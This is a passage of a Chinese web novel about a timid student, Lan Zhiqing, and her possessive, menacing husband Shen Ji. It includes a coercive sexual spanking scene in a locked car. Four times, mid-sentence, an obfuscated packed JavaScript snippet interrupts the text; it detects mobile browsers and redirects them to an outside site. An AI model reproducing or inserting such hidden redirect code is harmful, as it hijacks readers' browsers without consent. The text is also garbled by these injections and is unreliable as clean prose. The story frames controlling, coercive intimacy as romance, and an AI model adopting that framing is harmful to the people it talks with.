兰稚青努力让自己保持淡定,她回想起自己在厨房看到的包子馅料,僵硬道:“应该是猪肉香菇的吧?” “哦?” 沈寂闻言似乎有些惊讶,他的指尖轻轻敲打着方向盘,意有所指道:“你的鼻子这么灵,这样竟然都能闻出来。” 兰稚青见他的反应认为自己侥幸逃过一劫,她下意识摸了摸自己的鼻子,笑道:“当然了,老公你的手艺这么好,一打开饭盒我就闻到香菇的味道了。” 沈寂猛然间踩下了刹车。 兰稚青吓了一跳,她下意识侧头看去,却发现沈寂正平静地看着她。 “可是乖宝,你怎么会闻到香菇的味道呢。” 沈寂唇畔浮现出一丝浅淡的笑意,他歪头说道:“我今天早上明明给你装的是之前说过想吃的椰蓉奶黄包。” 完蛋了。 这回真的是完蛋了。 兰稚青的大脑顿时一片空白,完全已经丧失了思考的能力。 她现在到底应不应该报警…… 如果她报警了,但是沈寂没动手,那警察走后她绝对必死无疑。 如果她不报警,万一沈寂现在就在这里杀了她,那她该怎么办。 直到现在她才发现沈寂早在不知不觉间把车子开到了一个荒凉偏僻的地方,周遭别说人影了,就连鬼影都看不见半个。 要是在这里分尸抛尸,估计十天半个月都不会被发现。 兰稚青的脑子里又闪现过沈寂身上带血的衬衫,以及论坛里无辜遭难的那只流浪猫。 “宝贝,你在撒谎,对吗?” 沈寂似乎已经察觉到了兰稚青的异样,他抬手轻轻按住了她的肩膀,感受着她细细的颤抖。 他的语气里带着些许的不解,可态度却依旧温柔,“你怎么会突然变成这样一个坏孩子呢?” “我没有……我真的没有撒谎……” 兰稚青还在试图为自己掩饰,她多么希望现在沈寂突然改口,告诉她其实他放进去的就是香菇猪肉馅的包子,他说的那个椰蓉奶黄包不过只是试探她的手段。 早知道她还不如原样把饭盒再带回去,也好过现在惹上这么大的麻烦要好。 她不想死。 她真的不想死。 她在游戏里连续打了十二天的活动地图,马上就能拿到奖励皮肤了,她不想就这么不明不白地死在这里。 眼见着沈寂的手指已经从她的肩膀移到了她的脖子,兰稚青连忙一把抓住了他的手,在强烈的恐惧和不甘之下,她的眼泪登时像是断了线的珠子一样流了出来。 “老公,我错了,我再也不敢了……下一次我再也不骗人了。” 沈寂见状微不可察地皱了皱眉,他的指尖轻轻擦过兰稚青脸上的眼泪,平静问道:“所以那些早餐到底去哪了。” 兰稚青张了张嘴,刚刚想要说话,沈寂就已经按住了她的唇瓣。 他那双漂亮的眼睛微微弯了起来,说话的语调很轻,可是脸上却毫无笑意。 “宝贝,如果你告诉我你把我做的东西送给那个没品位的黄卷毛了,那我真的会生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880337|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气哦。” “不是……我没有。” 兰稚青见状连忙为自己辩解,也顾不上再给自己继续编谎,“我没有给他分早餐,我……我就是自己不想吃,所以把它倒掉了。” 说到最后她的声音越来越小,自己都觉得心虚。 “为什么不想吃,是因为你觉得我做的饭很难吃吗?” 沈寂听到她的解释微微一怔,倒是没有刚才那么咄咄逼人,他的语气也变得和缓了下来,“昨天晚上忘记问你早餐想吃什么了,所以就随便准备了一点,下次我会注意的。” 兰稚青眼泪还在止不住地往下掉,她的胆子去看恐怖片倒是绰绰有余,真的在鬼门关里打转还是怂得不得了。 听到沈寂的话,她一声都不敢吭,生怕自己又像刚才那样说多错多。 “抱歉,乖宝,吓到你了是不是?” 沈寂仔细帮她擦拭着眼泪,兰稚青见状以为自己逃过一劫,她刚刚想松口气,可是沈寂却依旧不依不饶。 “不过一码归一码,你骗我的事情不能就这么算了。” “……你想怎么办?” 兰稚青吸了吸鼻子,赌气道:“难道你还要揍我一顿解气吗?” 沈寂闻言挑了挑眉,到像是真的在认真思索这个问题。 “可以呀,打十下,今天的事情就一笔勾销。” 兰稚青眼里还含着泪水,闻言难以置信地抬头看向沈寂,眼神中满是恐惧和震惊。 以他们两个人的体格差距来说,沈寂要是真的给了她十拳,那她小命估计也得掉半条。 可是这样的话应该算家暴,车上有行车记录仪,要是录下来的话那就是证据。 家暴应该可以离婚吧…… 兰稚青身体紧紧贴着车门,她想要逃出去,可是车门早就已经被沈寂反锁,她现在就像是案板上的鱼一样任人宰割。 “老公,我是开玩笑的……” 兰稚青手指紧紧扒着车门,她的视线在车内四处打转,试图找到可以防身的工具。 可是沈寂却没有再理会她,他拿出湿巾仔仔细细擦拭自己的手掌。 不是,你们讲究人打人之前还得给自己的手消一遍毒吗? 兰稚青愣了一下,刚刚想要开口说话,她的座椅却突然被放倒平躺。 沈寂冲她微微一笑,俯身娴熟无比解开了她牛仔裤的纽扣。 兰稚青:?! 沈寂这个王八蛋他到底是要打哪里?! 9. 第 9 章 外面寒风未停,雪下得也越来越大,可是车内的温度却在不断上升。 兰稚青试图从沈寂的怀中逃脱,可是车内的空间太过狭小,她才刚刚找到空隙,甚至还未来得及脱身,沈寂就已经把她按了回去。 细密的吻像是潮水一样朝她袭来,兰稚青试图躲闪,可是沈寂的手指正威胁性地按在她的后颈。 她避无可避,只能乖乖张开嘴巴任由他索吻。 沈寂人长得漂亮是不假,可是接吻的时候却很凶,尤其是在他得不到任何回应的时候,他就更是如此,恨不得把她整个人都吞到肚子里去。 “宝宝,亲亲我……” 沈寂捧着她的脸颊撒娇,“你也亲亲我好不好,就像是我们刚认识的那样……你也亲一下我。” 兰稚青闻言瑟缩了一下,她紧紧闭着自己的眼睛,试图通过不去看沈寂的脸来让自己保持冷静。 她当了将近二十多年的脸盲,在认识沈寂之前,她从来不知道一张漂亮的脸会对她有这么大的影响。 人类果然都是视觉动物不假,在她和沈寂第一次见面时,她被这张脸所迷惑,所以脑子一热和沈寂啵了个嘴,从此开始了她无穷无尽的噩梦。 她当时到底为什么会昏头到这种地步,她怎么会脑子发抽和刚刚见面的网友接吻。 兰稚青至今都没有给自己找到一个合适的答案。 她唯一所知道就是,在所有亲密接触的时候,她都要尽量不去看沈寂的脸,免得自己再突然色鬼上身干出一些更出格的事情。 沈寂看到她紧闭着双眼,脸上不由得闪过一丝失望。 但这并没有影响到他的兴致,或者更准确来说,他有很多种办法可以让兰稚青乖乖睁开眼睛看着他。 “你干什么……快点松手!” 兰稚青因为沈寂的动作慌张起来,她试图阻拦,可是对上沈寂一句话又把她的动作堵住。 “小乖,难道你要说话不算数吗?” 兰稚青死死咬住自己的下唇不答话,沈寂盯着她若有所思,温柔道:“就十下,你自己数着,我会轻一点的。” 沈寂话是这么说,可是下手的时候却不见得有这么体贴。 啪—— 兰稚青羞愤欲死,她颤抖了一下,胳膊死死挡住自己的脸。 沈寂见状挑了挑眉,开口道:“这下不算。” 兰稚青睁开眼睛难以置信地看着沈寂,“……凭什么不算?” “因为你没有数。” “我为什么要数?!” 兰稚青脸色早就已经红透,她欲哭无泪,抗议道:“你这是耍赖……” “没办法啊宝宝,我的数学不太好。” 沈寂闻言也不恼,他按住了兰稚青想要合上的膝盖,似笑非笑道:“如果我不小心多打了几下,你可一定要见谅。” 想死。 好想死。 她现在就想拉着沈寂一起死。 兰稚青一脸悲愤地闭上了眼睛,她生怕沈寂又想出什么新招,只能顺着他的意思,试图也把眼前的麻烦给解决。 “一……” 兰稚青紧紧闭着眼睛,声音细若蚊吟。 可是沈寂却还是不满意,他再度开口道:“宝宝,把眼睛睁开。” 兰稚青轻轻睁开了眼睛,颤抖着把头别了到了一旁。 沈寂见状顿了顿,这一次他倒是没再说什么。 “二……呜!” 兰稚青下意识想要弓起身子,她眼里含着眼泪,“不要捏……” “你……你刚刚明明只说要打的……你说我让你打十下就一笔勾销的……” 她试图用沈寂说过的话约束沈寂,可是一切却都是徒劳。 “我刚刚捏你了吗?” 沈寂有些惊讶扬了扬眉,他微微一笑,反问道:“你哪只眼睛看到了?” “我……” 兰稚青被沈寂的无耻给气到,可是她却没办法反驳,只能同时充当了沈寂的“监工”。 可是她忘了沈寂是个得寸进尺的人。 她所做出的忍耐和退让不仅不会让他变得心慈手软,反而更加助长了他嚣张的气焰。 她是一条被扔进沙漠里的鱼。 只有沈寂偶尔施舍的水分才能喘息。 七…… 八…… 九…… 十…… 兰稚青重重哆嗦了一下,她眼神逐渐失焦,呆滞盯着车顶,眼泪顺着她的眼角轻轻滑下。 沈寂凑过去黏糊糊地吻她的脸颊,嘴里乖乖宝贝宝宝各种甜言蜜语一通乱喊,明明刚才还因为一点小事步步紧逼,现在立马又挂上了一副温柔虚假的面具。 可是兰稚青却已经没力气再开口应付他,她蜷缩在座椅上轻阖着双眼,身上披着沈寂的外套昏昏欲睡。 在极度的恐惧退去后,疲惫和困意也像是潮水一样涌来,她想要让自己继续保持清醒,可是大脑早就已经不听自己的使唤,就连沈寂在说什么也听不清楚。 “宝宝……我真的好想……死你。” 果然…… 沈寂果然想要杀了她…… 她好后悔,自己当初为什么会这么容易上当受骗…… 兰稚青努力想要回想过往发生的一切, 那应该是三个多月前的雨天……没错,就是在那个雨天,她第一次见到沈寂……从此彻底踏上了一条不归路。 …… “您好,请问您现在要点餐吗?” 咖啡厅的服务生拿着菜单走到兰稚青的面前,热情道:“今天是我们三周年店庆,全场消费有八折优惠。” “谢谢……暂时先不用了,等我朋友到了再点吧。” 兰稚青随手接过菜单放到桌上,有些紧张地从包里拿出小镜子反复确认自己的衣着打扮没有错处。 她的脸上带着雀跃和期待,店员对这样的情况早已司空见惯,她笑眯眯道:“如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880338|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果是情侣的话,我们店里今天可以抽奖哦。” 兰稚青闻言一怔,连忙摇头否认,腼腆道:“不是情侣,就是普通的朋友,她也是女孩子。” 她和网名为“Schlange”的女生已经在网上认识两个月了,两个人从最开始单纯的约稿关系,到后来几乎无话无谈,成了相见恨晚的好朋友。 兰稚青从未见过和自己这么合拍的人,她性格内向又不爱说话,在现实生活中朋友少得可怜。 Schlange的出现就像是天上掉下来的礼物。 她的性格温柔又善良,会耐心听兰稚青吐槽各种鸡毛蒜皮的小事,兰稚青偶尔说的一句话都会被她记在心上,而且她还擅长夸奖和赞美,只要兰稚青需要,她就会及时出现。 兰稚青不知道她到底是什么模样,不过从聊天时的蛛丝马迹里推测她应该是个知性优雅的大美人。 因为今天是和Schlange的第一次见面,她出门时特地好好打扮了一番,身上的杏色连衣裙是她前两天刚买的,室友们都说这件衣服很适合她,看起来非常有秋天的感觉。 而为了能搭配这条裙子,她甚至穿上了平时很少会穿的高跟鞋,只希望自己可以给自己即将见面的朋友留下一个好印象。 Schlange会是什么样子的呢……她会不会像电视剧里演的名门大小姐,还是像干练优雅的职场精英,更或者是优雅高贵的大姐姐…… 兰稚青犹豫了片刻,还是从包里拿出口红给自己补了个妆。 她不想让自己在Schlange面前显得像个幼稚不成熟的小妹妹。 我是小皇帝(约稿请看置顶):【qwq老婆,我已经到啦!】 兰稚青算了一下时间,满怀雀跃地给Schlange发去了消息。 Schlange:【宝宝等我一下,我马上就到>v<】 兰稚青看到消息定了定神,她最后再确认了一遍自己的细节,努力构思着第一次见面的时候应该说什么。 你好,我叫兰稚青……等下,这样会不会太生疏了……要不要拥抱一下呢,可是这样会不会有点冒犯…… 兰稚青的大脑正在疯狂转动,完全没有意识到有人靠近自己的身边。 在她沉思之际,一只白皙修长的手突然轻轻敲了敲桌面,“你好……” “您好,我是兰稚青……” 兰稚青闻言猛然站了起来,她慌里慌张做起了自我介绍,可是等到看清面前站的人却不由得微微一怔。 “你好,我是约你见面的Schlange,本名叫沈寂。” 沈寂弯了弯眉眼,含笑道:“稚青,很高兴见到你。” 兰稚青眨了眨眼,一脸呆滞地看着他。 Schlange就像是她想象中的那样,身形高挑,皮肤白皙,长相漂亮,就连说话的语调都优雅从容,声音更是温柔好听。 但是…… 怎么会是个男的?! 10. 第 10 章 “你……你是Schlange?” 兰稚青许久才找回自己的声音,她看着沈寂无比自然地坐到自己的对面,仍不敢相信和她在网络上相谈甚欢的Schlange竟然会是个男人。 “是我。” 沈寂闻言也不恼,他解锁自己的手机找出他们的聊天框递给了兰稚青,借此证明自己并不是冒充的。 兰稚青低头扫了一眼,上面“老婆”“宝宝”几个字显得格外刺眼醒目。 也就是说…… 她对着一个男人喊了两个月的老婆…… 兰稚青觉得自己尴尬到脚趾扣地马上就要扣出一栋三层大别墅。 “不好意思,我不知道你是男的……” 现在想想Schlange确实没对她说过他是女孩子,他的头像是一条白色的小蛇,名字也比较中性,是她自己先入为主觉得对方一定是女生。 但是这种事情也不能全怪她,毕竟她画的头像都是Q版可爱风,一般情况根本不会有男生一口气约那么多张稿件。 “没关系,是我忘记提前说明了。” 沈寂闻言倒是毫不在意,他把菜单递给了兰稚青,礼貌道:“女士优先。” 想象中的温柔大姐姐突然变了个性别,虽然还是很好看没错……但是兰稚青还是觉得哪里不太对劲。 她接过菜单胡乱点了点,完全没有要好好品尝美食的心情。 沈寂撑着下巴打量着她,发现她眼神躲闪,似乎一直在回避自己。 好可爱…… 沈寂无意识勾了勾唇,他放柔语气,试图让自己看起来更加无害,开口问道:“一会儿我们要去看电影吗,你不是一直想看新上映的那部恐怖片……” “不用了。” 沈寂的话还未说完就已经被兰稚青打断,她有些慌张地扯了扯自己的裙角,干巴巴解释道:“那个……我下午还有课……” 沈寂闻言微微一顿,他轻声道:“可是我记得你昨天和我说你今天一整天都有空。” “就是临时要补课……这次先算了,我们下一次再说吧。” 兰稚青完全不敢和沈寂对视,她的谎言拙劣至极,几乎没有什么逻辑可言。 沈寂看出了她的不自在,但是却并没有拆穿,他看着服务生端上来的甜品,开口道:“我记得你喜欢菠萝,听说这家的菠萝椰奶挞很好吃,要不要尝尝看。” “谢谢,我自己来吧。” 兰稚青胡乱点了点头,在这种尴尬的情况之下,她只能不停往自己的嘴里塞东西,好减少自己和沈寂说话的频率。 但是……她怎么觉得自己越来越晕了…… 兰稚青大口喝了一口面前的冰咖啡,试图让自己的脑子冷静下来。 坐在对面的沈寂也注意到了她的异样,他微不可察地皱了皱眉,轻声问道:“你还好吗?” “我……我很好啊。” 兰稚青晃了晃自己的头,像是落水的小狗试图抖干净身上的水珠,她连说话都开始变得有些迟钝,口齿不清道:“就是有一点点点晕。” 沈寂见状微微一怔,他的视线落到兰稚青手边的咖啡上,那是兰稚青自己点的香草伏特加拿铁,据说是店家的招牌酒咖。 “……只是这样醉了?” 沈寂看到兰稚青盯着他的脸越来越呆的表情,他轻轻叹了口气,起身走到她的身边,温声道:“你喝醉了,我先送你回去吧。” 兰稚青歪头打量着他,似乎是在考虑他话中的真实性,警惕道:“我要自己回去。” “可是怎么办,外面正在下雨。” 沈寂有些苦恼地眨了眨眼睛,“你会淋成落汤小狗哦。” 他轻轻捧起了兰稚青的脸颊,让她直视自己的眼睛,温柔道:“跟我一起走,好不好?” 兰稚青的大脑一片空白,她直视着那双漂亮的眼眸,像是被迷惑了神智一般,感觉自己马上就要陷进深渊。 她无意识地点了点头,被沈寂拉着站了起来。 好高…… Schlange原来有这么高…… 兰稚青几乎整个人被他抱在怀里走出咖啡厅,直到坐上了沈寂的车,她才猛然想起自己被抛到脑后的警惕。 “学校……我要回学校。” “好,那我把你送回学校。” 沈寂帮她系好了安全带,又问道:“你可以联系上你的室友吗?” 兰稚青没有说话,她只是呆呆看着面前近在迟尺的沈寂,视线一瞬不错地看着他的脸。 “你好像对我的脸很有意见。” 沈寂注意到了她的眼神,他微微一笑,问道:“是我的长相不太符合你的审美吗?” “不是……你长得很好看。” 兰稚青闻言连忙摇了摇头,她的大脑被酒精所占据,已经丧失了基本的思考能力,只能顺着沈寂的话回答。 沈寂见状笑意越来越大,他的语气放柔,调整了一下自己的位置,让兰稚青能更加清楚地看清他的脸,问道:“那你要不要再更仔细地看一看我?” 兰稚青像是被蛊惑一样伸手捧住了沈寂的脸颊,在她的手指触碰到自己的瞬间,沈寂差点没能忍住发出声音。 好乖……像小兔子一样,手也好小好软……如果他现在咬一口,她会不会哭…… 沈寂努力压制住自己脑子里的想法,他看着兰稚青一脸认真地盯着他,本来想开口再逗逗她,却不想她接下来的动作却完全超乎了他的想象。 兰稚青捧着他的脸颊轻轻吻了上去,更或者准确来说,这不像是亲吻,只是单纯的皮肉相触。 她就像是亲吻了一只路过的小猫,单纯只是想要和对方接触,毫无任何的旖旎想法。 沈寂眼底闪过一丝诧异,但他很快反客为主,含住她的唇瓣趁虚而入,与她交换灼热的呼吸。 他能感受到自己越来越快的心跳,在兰稚青看不到的角度,他的眼眸因为兴奋逐渐变成竖瞳,像是毒蛇终于盯上了猎物。 意识混乱的兰稚青挣扎地把他推开,她还没有彻底反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880339|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来到底发生了什么,只是迷茫地盯着面前的沈寂,试图平复着自己的呼吸。 “乖宝宝,怎么连换气都不会。” …… 兰稚青猛然睁开了眼睛。 她盯着眼前熟悉的房间,梦里不受控制的恐惧似乎还缠绕在她的身边,她眨了眨有些干涩的眼睛,许久才意识到自己已经被沈寂带回来了。 她的身上换好了睡衣,怀里放着她最常抱着的兔子玩偶,就连手机也已经充好电放在了床边,不知道沈寂有没有在里面偷偷动手脚。 兰稚青挣扎着从床上坐了起来,为了防止沈寂窥探到她的隐私,在当今这个快速便捷的时代,她甚至没有设定任何的指纹或面部识别解锁,就连密码都是复杂的大小写数字符号混合。 她耐着性子解锁了手机,发现论坛上有人给他发来了私信。 【同学你好,我们这里收到了你给猫猫的捐款,非常感谢你的帮助,目前猫猫已经脱离了危险,剩下的钱我们会全数返还,你方便留一个收款码吗?】 与对话框一起的还有几张照片,虽然那只橘猫看起来还是有些虚弱,不过状态明显比之前好多了。 兰稚青顿时松了口气。 幸好没事了,不然她就也像沈寂一样成刽子手了。 【不用了,剩下的钱留着给猫猫买一点营养品吧,希望它早日康复。】 兰稚青扯着怀里玩偶兔子的耳朵发了会呆,这是她思考时的下意识反应,她犹豫了许久,还是又重新拿起手机给对方发去了消息。 【对不起,我今天在教学楼附近的垃圾桶里倒掉了一些坏掉的包子,不知道猫是不是因为吃了这些才会食物中毒的,真的很抱歉。】 她知道自己这个时候不应该凑上去承认错误,毕竟与她而言,她只是在垃圾桶里倒掉了垃圾,从事实上来说,她并没有做错什么。 如果她什么都不说,或许大家也根本查不出什么,只会把这件事当成反社会人格对小动物的残忍屠杀。 反而是她现在把什么事都说了,才有可能会给自己引来更大的麻烦,甚至会导致沈寂发现事情的真相。 可是她的性格就是这样。 她是一个固执又死板的人,用父母的话来形容,她实在太“轴”了,更或者说她是一直在坚持着天真的理想主义。 对面的头像一直显示正在输入,许久才重新弹出一条消息。 【额……同学谢谢你的告知,不过这件事应该和你没关系,学校里的小猫小狗定期都有人喂,它们平时有罐头和猫粮吃,基本不会去翻垃圾桶的。】 【可是万一它没有吃饱,突然去翻了垃圾桶怎么办……】 【……同学,你没养过小动物吧,小猫不是人,它不吃包子的=o=。】 兰稚青盯着对方的回答沉默了许久,她默默关上了手机,抱着怀里的玩偶重新把自己埋到了被子里。 是这样吗…… 难道一直吃罐头和猫粮的小猫咪不会有一天突然想吃带着椰蓉流心的奶黄包吗? 11. 第 11 章 “乖宝,你醒了吗?” 兰稚青听到熟悉的脚步声,她下意识抱紧怀里的玩偶闭上了眼睛,试图想要靠装睡躲过一劫。 但是这招明显对沈寂没什么用,他俯身把她直接连人带被子抱进了怀里,笑眯眯道:“起床吃饭吧,今天我有做你喜欢的糖醋小排和菠萝派。” 兰稚青猝不及防被他捞了起来,她吓了一跳,刚刚想要开口拒绝,但是对上沈寂似笑非笑的眼神,她又默默把话咽了回去。 “我给妮妮买了新衣服和棉花,一会儿吃完饭要给它做一下脂肪填充了。” 沈寂抓住玩偶的兔子耳朵把它拎了出来。 这只兔子是兰稚青从小抱到大的,即使再精心爱护也已经变得旧旧的,先后缝缝补补过好多次。 再加上兰稚青晚上会抱着睡觉,玩偶内部的棉花也渐渐干瘪,需要定期填充新的棉花。 沈寂倒是非常喜欢这项工作,他会花大价钱给这只兔子定制衣服配饰,把它打扮得漂漂亮亮的,虽然每次睡前都会被兰稚青全数弄下来,但他依旧乐此不疲。 兰稚青对此倒是无所谓,她只需要自己的兔子玩偶不受到任何损伤就好。 由于她睡的时间有点久,墙上挂着的时钟早就已经指到了“3”。 她的早餐进了垃圾桶,午餐又睡过了时间,除了在咖啡馆里喝了两口咖啡之外再没动过别的,现在确实已经有点饿了。 沈寂从他们结婚之后就开始热衷下厨,平心而论,他的厨艺确实不错,完全担得上色香味俱全这五个字。 但兰稚青却始终保持着警惕。 趁着沈寂还在厨房端菜的空档,她先把两个人的餐具调换了一遍,而后上上下下绕着周遭四处搜寻,看到角落里的垃圾袋子都要打开看看里面有没有装毒药的瓶子。 “宝宝,你在做什么?” 沈寂端着煨好的板栗鸡出来,看到的就是兰稚青蹲在地上翻垃圾的情景。 “真是的,又不是外面的小野猫,怎么现在又开始喜欢翻垃圾了。” 沈寂微不可察地皱了皱眉,他上前拉起兰稚青走到洗手间,一边在她的手上抹着洗手液一边教育道:“小花猫,垃圾袋里什么好东西值得你去翻的,把你的爪爪好好洗干净才准吃饭。” “……你把你的手表扔了?” 兰稚青任由水流冲刷着自己的手指,她想到自己刚刚看到那支手表,表盘已经被砸得稀巴烂,依稀还能辨别出是路锡鸣的同款。 “哦,不小心摔坏了,反正也不是什么重要东西。” 沈寂帮兰稚青擦干手上的水分,语气轻松自然,仿佛自己扔掉了只是一个发芽的坏土豆。 兰稚青闻言沉默了一瞬。 她只是比较迟钝,但不是木头。 想也知道沈寂是在嫌弃这是和路锡鸣的同款,他的手表那么多,根本不差这一块,与其说是摔坏的,倒不如说他是故意砸坏的。 如果按照市价来说,别人大锤80小锤40,可是沈寂着一锤子下去得多少钱啊…… 兰稚青在心里默默计算了一下价格,看向沈寂的眼神充满了谴责和唾弃。 都这么有钱了还要偷她温暖厚实的superme卫衣,凉爽透气的adibas短袖,材质轻柔的LU围巾,她在地摊上花十块钱买下的minmin发夹,以及她的蜡笔小新秋衣和美羊羊秋裤。 果然,她永远鄙视这些一脉相承的剥削阶级,越有钱越喜欢在不该抠门的地方抠门。 上一秒还开着大G戴着金表在夜店挥金如土的老板,下一秒就开始想方设法克扣员工几百块的全勤奖。 前一天在强调一定要给学生发劳务费的导师,第二天还钱没焐热就让学生把钱还回来,顺便还要把扣税一并补上。 白天才毫不心疼的砸了自己一块名表的沈寂,可能到了晚上就会去偷她温暖厚实的superme卫衣,凉爽透气的adibas短袖,材质轻柔的LU围巾,她在地摊上花十块钱买下的minmin发夹,以及她的蜡笔小新秋衣和美羊羊秋裤。 有一有二就有三,指不定下一次他就会盯上她最喜欢的小恐龙内裤。 鄙视! 她永远对这些人报以最深的鄙视! 兰稚青不情不愿跟着沈寂走到饭桌前,她看着沈寂给自己盛饭,全程不敢放过任何一个细节,生怕他会在中间哪个环节做手脚。 沈寂意识到兰稚青一直在盯着自己,他脊背挺直,手上的速度也有意放慢,好让自己的动作看起来更加优雅从容。 他从之前就发现了,每次只要他一做饭,兰稚青都会一瞬不错地盯着他,甚至有的时候连他洗菜的时候都要跟在旁边。 她果然就是喜欢这一款! 沈寂自认为已经拿捏住了兰稚青的喜好,甚至已经开始在心里盘算下次要不要换一件更收腰的围裙。 “我炖了银耳雪梨汤,一会儿吃完饭后应该就可以喝了,现在天气干燥,多喝一点对身体好。” 沈寂笑容满面地把盛好的米饭放到了兰稚青的面前。 他的笑容让兰稚青心生警惕,强烈怀疑里面真的放了什么东西。 记住了。 一会儿一定不要吃饭,更不要喝汤 兰稚青盯着面前的几道菜,她颇为紧张地捏住筷子,不知道应该从哪里下手才好。 糖醋小排……味道比较重的菜最容易掩盖毒药的气味。 宫保虾球……这个时候还是少吃点海鲜吧,纯纯慢性毒。 清炒油菜……绿油油的和上次她倒的那瓶农药一个颜色。 板栗鸡……万一沈寂先给鸡喂了毒,那就是杀人于无形。 兰稚青犹豫了许久,她在沈寂的注视之下将筷子转向板栗鸡,先夹了一块放到沈寂的碗里。 “老公,你辛苦了。” 沈寂看了一眼兰稚青夹过来的菜,再看了一眼坐在对面一脸紧张的兰稚青。 他拿筷子把菜夹了起来,可是犹豫了许久,又默默把筷子放下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880340|159784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老公,你怎么不吃啊,这可是你做的菜。” 兰稚青看到沈寂放下筷子立马心中了然,她的脸上浮现出早已看破一切的笑容,淡淡道:“如果你自己都不吃的话,那我只能也陪着你不吃了。” “不是我不想吃,只是……” 沈寂拿筷子夹起来在兰稚青的眼前晃了晃,他轻轻叹了口气。 “宝贝,你给我夹的是姜。” “……” 兰稚青和沈寂面面相觑,紧跟着陷入漫长的沉默,许久她才又拿起了筷子。 “那我重新给你夹一块……” 她夹起一个虾球放到沈寂的碗里,还未来得及盯着他吃完,一通突如其来的视频通话就打断了他们。 “谁打来的电话?不会是那个黄卷毛吧?” 沈寂看到兰稚青的手机亮起,他几乎是在瞬间就警惕了起来。 兰稚青扫了一眼屏幕上的备注,她不由得轻轻皱了皱眉,解释道:“不是,是我妈。” 她没有直接接电话,而是急匆匆起身上楼,把自己身上的睡衣换了下来,套上自己的旧卫衣,躲进浴室把电话回拨了回去。 “妈,什么事?” “青青,你怎么才接电话啊?怪不得人家都说儿大不由娘,光知道你在外面上大学,一天到晚也没见你给家里打个电话……” 兰母刚刚接通电话就是一通抱怨,兰稚青听得头皮发麻,只能打断道:“我这边还有事要忙,你要是没事的话我就先挂了。” “你等等,你快放寒假了吧,今年什么时候回来啊?” 兰母再度抱怨道:“今年你哥带着你嫂子回来住几天,你弟这个月月底也就回来了,家里上上下下都得收拾,你也赶紧回来吧,我一个人哪里忙得过来。” “妈,我假期要留下来兼职,一时半会儿回不去。” 兰稚青低头扯着自己的衣角,毫不犹豫选择开口拒绝。 “又是兼职……年年干兼职也没见你往家里拿回点钱来,白养你这么大了。” 兰母闻言嘟囔了一声,她仔细打量了一眼视频里的兰稚青,奇怪道:“你现在不在学校?” “……对,我在外面。” “你不老老实实在学校待着跑外面干什么,这是哪?怎么还有浴缸,你现在是在酒店吗?” 兰母的问题像是炮弹一样席卷而来,她质问道:“你是不是在外面偷偷交男朋友了?” “不是,就是同学的家,我过来帮忙打扫卫生的。” “你同学家里这么有钱?男同学还是女同学?你过来打扫卫生给你付工资吗?” 兰稚青对兰母无休无止的质问感到心累,她闭了闭眼,匆匆回了几句就挂断了电话。 好烦…… 不管什么事都好烦…… 如果父母知道她在外面已经偷偷结婚了,估计会被气得直接开车过来。 不对,他们哪里会生气。 沈寂有钱又大方,估计正合他们的心意。 12. 第 12 章 兰稚青在浴室里整理好自己的思绪才匆匆下楼,在沈寂的面前,她不能表现出任何的异样。 “打了这么久的电话,都聊什么了?” 沈寂盛了刚刚熬好的银耳雪梨汤放到兰稚青的面前,随口问了一句。 “没什么,就是问我今年什么时候回家。” 兰稚青扫了一眼那碗汤就已经失去了兴趣,随手用筷子拨弄着碗里的饭。 沈寂闻言却不由得一怔,他眨了眨眼,一脸期待地试探问道:“那你会带我一起回去吗?” 兰稚青闻言几乎连想都没想,毫不犹豫开口道:“当然不会。” 沈寂听到她坚定又果断的话,脸上的笑容在一瞬间消失不见。 兰稚青见状心里不由得咯噔了一下,她意识到自己回答得太过草率,只能又欲盖弥彰道:“你去我家会住不习惯的。” “能有什么不习惯的,在哪里不都是一样,我就要和你一起回去。” 沈寂刚刚还在伪装温柔人夫,现在被兰稚青一句话给说到破防,他的眼眸微微垂下,抿着唇不太愿意接受这个结果。 兰稚青一看到他这幅样子就知道他的大小姐脾气又上来了。 